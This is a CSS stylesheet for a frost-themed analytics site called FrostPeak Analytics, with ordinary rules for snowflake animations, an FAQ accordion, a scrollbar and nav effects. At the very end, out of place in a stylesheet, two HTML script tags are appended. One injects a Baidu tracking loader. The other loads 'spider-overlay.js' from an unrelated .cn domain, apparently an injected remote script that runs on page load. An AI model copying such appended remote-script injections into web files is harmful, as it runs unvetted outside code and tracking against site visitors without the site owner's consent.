﻿/* ============================================
   FrostPeak Analytics - Custom Styles
   Design Identity: Icy Cool Frost Theme
   ============================================ */

/* --- Smooth Scroll --- */
html {
    scroll-behavior: smooth;
}

/* --- Navbar Scroll Effect --- */
#navbar.scrolled {
    background: rgba(255, 255, 255, 0.95);
    box-shadow: 0 4px 20px rgba(14, 165, 233, 0.1);
}

/* --- Snowflake Particles Animation --- */
.snowflake-particle {
    position: absolute;
    color: rgba(14, 165, 233, 0.3);
    pointer-events: none;
    animation: snowflake-fall linear infinite;
    font-size: 16px;
}

@keyframes snowflake-fall {
    0% {
        transform: translateY(-10vh) rotate(0deg);
        opacity: 0;
    }
    10% {
        opacity: 1;
    }
    90% {
        opacity: 1;
    }
    100% {
        transform: translateY(105vh) rotate(360deg);
        opacity: 0;
    }
}

/* --- Feature Card Snowflake Rotate on Hover --- */
.feature-card .feature-snowflake {
    display: inline-block;
    transition: transform 0.6s cubic-bezier(0.4, 0, 0.2, 1);
}
.feature-card:hover .feature-snowflake {
    transform: rotate(180deg);
}

/* --- FAQ Accordion Styles --- */
.faq-item .faq-toggle.active {
    background: linear-gradient(135deg, #e0f2fe, #bfdbfe);
    color: #0284c7;
}
.faq-item .faq-toggle.active i {
    transform: rotate(180deg);
}
.faq-body {
    animation: faqSlideDown 0.35s ease forwards;
}

@keyframes faqSlideDown {
    0% {
        opacity: 0;
        max-height: 0;
        padding-top: 0;
        padding-bottom: 0;
    }
    100% {
        opacity: 1;
        max-height: 500px;
    }
}

/* --- Counter Animation (no-op, driven by JS) --- */
.counter {
    display: inline-block;
}

/* --- Glass-morphism Heading Enhancement --- */
.glass-heading {
    background: rgba(255, 255, 255, 0.4);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border: 1px solid rgba(186, 230, 253, 0.5);
}

/* --- Crystalline Divider --- */
.crystal-divider {
    width: 60px;
    height: 4px;
    background: linear-gradient(90deg, #bae6fd, #7dd3fc, #38bdf8);
    border-radius: 2px;
    margin: 0 auto;
}

/* --- Form Focus Glow --- */
input:focus, textarea:focus, select:focus {
    box-shadow: 0 0 0 3px rgba(125, 211, 252, 0.3) !important;
}

/* --- Custom Scrollbar --- */
::-webkit-scrollbar {
    width: 8px;
}
::-webkit-scrollbar-track {
    background: #f0f9ff;
}
::-webkit-scrollbar-thumb {
    background: linear-gradient(180deg, #bae6fd, #7dd3fc);
    border-radius: 4px;
}
::-webkit-scrollbar-thumb:hover {
    background: #38bdf8;
}

/* --- Pulse Animation for Stats Icons --- */
@keyframes pulse-soft {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.6; }
}

/* --- Testimonial Shadow Tint --- */
.testimonial-shadow {
    box-shadow: 0 10px 40px rgba(14, 165, 233, 0.08);
}

/* --- Responsive Fine-tuning --- */
@media (max-width: 768px) {
    .hero-heading-responsive {
        font-size: 2.25rem;
    }
}

/* --- Mobile Menu Transition --- */
#mobile-menu {
    animation: menuSlideDown 0.3s ease forwards;
}

@keyframes menuSlideDown {
    0% {
        opacity: 0;
        transform: translateY(-10px);
    }
    100% {
        opacity: 1;
        transform: translateY(0);
    }
}

/* --- Hover Underline Effect for Nav Links --- */
nav a {
    position: relative;
}
nav a::after {
    content: '';
    position: absolute;
    bottom: -4px;
    left: 0;
    width: 0;
    height: 2px;
    background: linear-gradient(90deg, #7dd3fc, #38bdf8);
    border-radius: 1px;
    transition: width 0.3s ease;
}
nav a:hover::after {
    width: 100%;
}
nav a.text-sky-600::after {
    width: 100%;
}

/* --- Select Apperance Fix --- */
select {
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='%2338bdf8' viewBox='0 0 16 16'%3E%3Cpath d='M8 11L3 6h10z'/%3E%3C/svg%3E");
    background-repeat: no-repeat;
    background-position: right 1rem center;
    padding-right: 2.5rem;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

